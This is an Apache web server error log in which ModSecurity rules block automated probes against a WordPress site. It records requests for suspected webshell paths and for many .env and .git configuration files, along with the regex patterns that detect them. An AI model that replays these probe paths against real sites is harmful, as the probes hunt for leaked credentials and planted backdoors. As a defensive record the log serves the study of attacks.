[Tue Nov 25 05:21:24.085943 2025] [proxy_fcgi:error] [pid 14078:tid 14141] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:24.342860 2025] [proxy_fcgi:error] [pid 14078:tid 14143] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:24.598565 2025] [proxy_fcgi:error] [pid 14078:tid 14149] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:25.022812 2025] [proxy_fcgi:error] [pid 14078:tid 14137] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:25.268166 2025] [proxy_fcgi:error] [pid 14078:tid 14144] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:25.546968 2025] [proxy_fcgi:error] [pid 14078:tid 14153] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:25.799252 2025] [proxy_fcgi:error] [pid 14078:tid 14146] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:26.088567 2025] [proxy_fcgi:error] [pid 14078:tid 14147] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:26.329034 2025] [proxy_fcgi:error] [pid 14078:tid 14140] [client 4.233.92.206:4867] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:26.677257 2025] [:error] [pid 14078:tid 14155] [client 4.233.92.206:4867] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSTMVtVXYbb0ii_rVoJLJAAAAJI"]
[Tue Nov 25 05:21:28.818399 2025] [:error] [pid 14168:tid 14192] [client 4.233.92.206:5114] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aSTMWPR-ZDU0QEgAIItwWwAAANU"]
[Tue Nov 25 05:21:30.692744 2025] [:error] [pid 14078:tid 14150] [client 4.233.92.206:4921] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aSTMWtVXYbb0ii_rVoJLJgAAAI0"]
[Tue Nov 25 05:21:49.329844 2025] [proxy_fcgi:error] [pid 1103:tid 1111] [client 4.233.92.206:4877] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:21:49.602772 2025] [:error] [pid 1103:tid 1112] [client 4.233.92.206:4877] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aSTMbY0LETdqOlq63sT2CgAAAUM"]
[Tue Nov 25 05:21:52.777895 2025] [:error] [pid 14077:tid 14111] [client 4.233.92.206:4406] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aSTMcBG9n7UHEkwDTyhQhQAAAEE"]
[Tue Nov 25 05:21:57.146267 2025] [:error] [pid 14168:tid 14180] [client 4.233.92.206:4372] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aSTMdfR-ZDU0QEgAIItwfQAAAMk"]
[Tue Nov 25 05:21:58.229148 2025] [:error] [pid 14168:tid 14171] [client 4.233.92.206:4375] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aSTMdvR-ZDU0QEgAIItwfwAAAMA"]
[Tue Nov 25 05:22:03.313980 2025] [:error] [pid 14077:tid 14116] [client 4.233.92.206:4401] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aSTMexG9n7UHEkwDTyhQigAAAEY"]
[Tue Nov 25 05:22:04.438070 2025] [:error] [pid 14076:tid 14093] [client 4.233.92.206:4359] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aSTMfHsB4Gz6Qw-pvBsLQwAAAAw"]
[Tue Nov 25 05:22:06.235452 2025] [:error] [pid 1103:tid 1131] [client 4.233.92.206:4893] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aSTMfo0LETdqOlq63sT2FAAAAVY"]
[Tue Nov 25 05:22:10.121515 2025] [:error] [pid 1103:tid 1123] [client 4.233.92.206:4382] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aSTMgo0LETdqOlq63sT2IAAAAU4"]
[Tue Nov 25 05:22:12.681641 2025] [:error] [pid 14077:tid 14119] [client 4.233.92.206:4352] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aSTMhBG9n7UHEkwDTyhQkwAAAEk"]
[Tue Nov 25 05:22:18.021206 2025] [:error] [pid 14076:tid 14101] [client 4.233.92.206:4911] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aSTMinsB4Gz6Qw-pvBsLXgAAABQ"]
[Tue Nov 25 05:22:20.177114 2025] [:error] [pid 1103:tid 1109] [client 4.233.92.206:4402] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aSTMjI0LETdqOlq63sT2OAAAAUA"]
[Tue Nov 25 05:22:21.268110 2025] [:error] [pid 1103:tid 1133] [client 4.233.92.206:4910] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aSTMjY0LETdqOlq63sT2OgAAAVg"]
[Tue Nov 25 05:22:22.540849 2025] [:error] [pid 14076:tid 14086] [client 4.233.92.206:4396] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSTMjnsB4Gz6Qw-pvBsLYQAAAAU"]
[Tue Nov 25 05:22:23.848803 2025] [:error] [pid 14077:tid 14130] [client 4.233.92.206:4412] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSTMjxG9n7UHEkwDTyhQrAAAAFQ"]
[Tue Nov 25 05:22:25.225058 2025] [:error] [pid 14076:tid 14105] [client 4.233.92.206:4869] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSTMkXsB4Gz6Qw-pvBsLZQAAABg"]
[Tue Nov 25 05:22:27.435491 2025] [:error] [pid 1103:tid 1133] [client 4.233.92.206:4354] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSTMk40LETdqOlq63sT2SgAAAVg"]
[Tue Nov 25 05:22:30.422617 2025] [:error] [pid 14078:tid 14154] [client 4.233.92.206:4395] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSTMltVXYbb0ii_rVoJLUQAAAJE"]
[Tue Nov 25 05:22:31.820649 2025] [:error] [pid 14168:tid 14178] [client 4.233.92.206:4878] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSTMl_R-ZDU0QEgAIItwpgAAAMc"]
[Tue Nov 25 05:22:35.274180 2025] [:error] [pid 14688:tid 14710] [client 4.233.92.206:4369] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSTMm29vYrBoEsiDnizjCwAAARQ"]
[Tue Nov 25 05:22:42.750307 2025] [:error] [pid 14076:tid 14097] [client 4.233.92.206:4386] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSTMonsB4Gz6Qw-pvBsLdgAAABA"]
[Tue Nov 25 05:22:44.240996 2025] [:error] [pid 14077:tid 14113] [client 4.233.92.206:4378] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aSTMpBG9n7UHEkwDTyhQsQAAAEM"]
[Tue Nov 25 05:22:49.829502 2025] [proxy_fcgi:error] [pid 1103:tid 1122] [client 4.233.92.206:4871] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:22:50.309792 2025] [:error] [pid 1103:tid 1110] [client 4.233.92.206:4871] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSTMqo0LETdqOlq63sT2kQAAAUE"]
[Tue Nov 25 05:22:52.824638 2025] [proxy_fcgi:error] [pid 14168:tid 14171] [client 4.233.92.206:4363] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:22:53.084109 2025] [proxy_fcgi:error] [pid 14168:tid 14194] [client 4.233.92.206:4363] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 11:07:54.176669 2025] [:error] [pid 28842:tid 29018] [client 54.173.250.15:37874] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSUditNmoaPf6T4-6C3tTQAAA1E"]
[Tue Nov 25 13:42:02.506466 2025] [:error] [pid 28609:tid 28624] [client 35.87.90.161:52394] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSVBqiGGdT-nZJVs3x10JgAAAYY"]
[Tue Nov 25 13:42:03.235028 2025] [:error] [pid 14076:tid 14091] [client 35.87.90.161:52404] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aSVBq3sB4Gz6Qw-pvBuyBQAAAAo"]
[Tue Nov 25 13:42:03.963138 2025] [:error] [pid 28836:tid 28955] [client 35.87.90.161:52420] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "aSVBq5wNRsoxcLQGkTdurAAAAsA"]
[Tue Nov 25 13:42:04.689537 2025] [:error] [pid 14168:tid 14174] [client 35.87.90.161:52426] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "aSVBrPR-ZDU0QEgAIIsQGQAAAMM"]
[Tue Nov 25 13:42:05.423435 2025] [:error] [pid 14078:tid 14159] [client 35.87.90.161:52430] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "aSVBrdVXYbb0ii_rVoLi4AAAAJY"]
[Tue Nov 25 13:42:06.163085 2025] [:error] [pid 14077:tid 14113] [client 35.87.90.161:52440] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aSVBrhG9n7UHEkwDTyjxZwAAAEM"]
[Tue Nov 25 13:42:06.892909 2025] [:error] [pid 14076:tid 14081] [client 35.87.90.161:52450] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aSVBrnsB4Gz6Qw-pvBuyCQAAAAA"]
[Tue Nov 25 13:42:07.628183 2025] [:error] [pid 28836:tid 28960] [client 35.87.90.161:37660] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "aSVBr5wNRsoxcLQGkTdusAAAAsU"]
[Tue Nov 25 13:42:08.364270 2025] [:error] [pid 28836:tid 28957] [client 35.87.90.161:37666] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aSVBsJwNRsoxcLQGkTdusgAAAsI"]
[Tue Nov 25 13:42:09.099457 2025] [:error] [pid 28842:tid 28990] [client 35.87.90.161:37678] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "aSVBsdNmoaPf6T4-6C0gzAAAA0A"]
[Tue Nov 25 13:42:09.827880 2025] [:error] [pid 28842:tid 28995] [client 35.87.90.161:37692] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "aSVBsdNmoaPf6T4-6C0gzwAAA0U"]
[Tue Nov 25 13:42:10.554047 2025] [:error] [pid 14077:tid 14119] [client 35.87.90.161:37706] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "aSVBshG9n7UHEkwDTyjxbgAAAEk"]
[Tue Nov 25 13:42:11.281242 2025] [:error] [pid 14168:tid 14184] [client 35.87.90.161:37708] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "aSVBs_R-ZDU0QEgAIIsQIwAAAM0"]
[Tue Nov 25 13:42:12.013710 2025] [:error] [pid 14688:tid 14714] [client 35.87.90.161:37722] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "aSVBtG9vYrBoEsiDnixp3wAAARg"]
[Tue Nov 25 13:42:12.747185 2025] [:error] [pid 14076:tid 14094] [client 35.87.90.161:37730] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.orig"] [unique_id "aSVBtHsB4Gz6Qw-pvBuyHQAAAA0"]
[Tue Nov 25 13:42:13.480144 2025] [:error] [pid 14688:tid 14693] [client 35.87.90.161:37732] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "aSVBtW9vYrBoEsiDnixp4gAAAQM"]
[Tue Nov 25 13:42:14.213109 2025] [:error] [pid 28609:tid 28618] [client 35.87.90.161:37748] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.tmp"] [unique_id "aSVBtiGGdT-nZJVs3x10MQAAAYA"]
[Tue Nov 25 13:42:14.965047 2025] [:error] [pid 14077:tid 14118] [client 35.87.90.161:37756] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "aSVBthG9n7UHEkwDTyjxkAAAAEg"]
[Tue Nov 25 13:42:15.692704 2025] [:error] [pid 14077:tid 14110] [client 35.87.90.161:37758] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "aSVBtxG9n7UHEkwDTyjxlAAAAEA"]
[Tue Nov 25 13:42:16.423339 2025] [:error] [pid 14078:tid 14154] [client 35.87.90.161:37766] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env.save"] [unique_id "aSVBuNVXYbb0ii_rVoLi8QAAAJE"]
[Tue Nov 25 13:42:17.148501 2025] [:error] [pid 28739:tid 28783] [client 35.87.90.161:37768] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env.bak"] [unique_id "aSVBuRxGpKmlkG4FexQtkQAAAhU"]
[Tue Nov 25 13:42:17.877648 2025] [:error] [pid 28740:tid 28792] [client 35.87.90.161:54716] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env.old"] [unique_id "aSVBuVppQCoYxWW6V0UffAAAAkE"]
[Tue Nov 25 13:42:18.609256 2025] [:error] [pid 28739:tid 28766] [client 35.87.90.161:54722] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aSVBuhxGpKmlkG4FexQtkwAAAgQ"]
[Tue Nov 25 13:42:19.338815 2025] [:error] [pid 28739:tid 28763] [client 35.87.90.161:54724] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env.save"] [unique_id "aSVBuxxGpKmlkG4FexQtlgAAAgE"]
[Tue Nov 25 13:42:20.069171 2025] [:error] [pid 14077:tid 14113] [client 35.87.90.161:54732] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env.bak"] [unique_id "aSVBvBG9n7UHEkwDTyjxnQAAAEM"]
[Tue Nov 25 13:42:20.796043 2025] [:error] [pid 14076:tid 14104] [client 35.87.90.161:54736] [client 35.87.90.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env.old"] [unique_id "aSVBvHsB4Gz6Qw-pvBuyLgAAABc"]
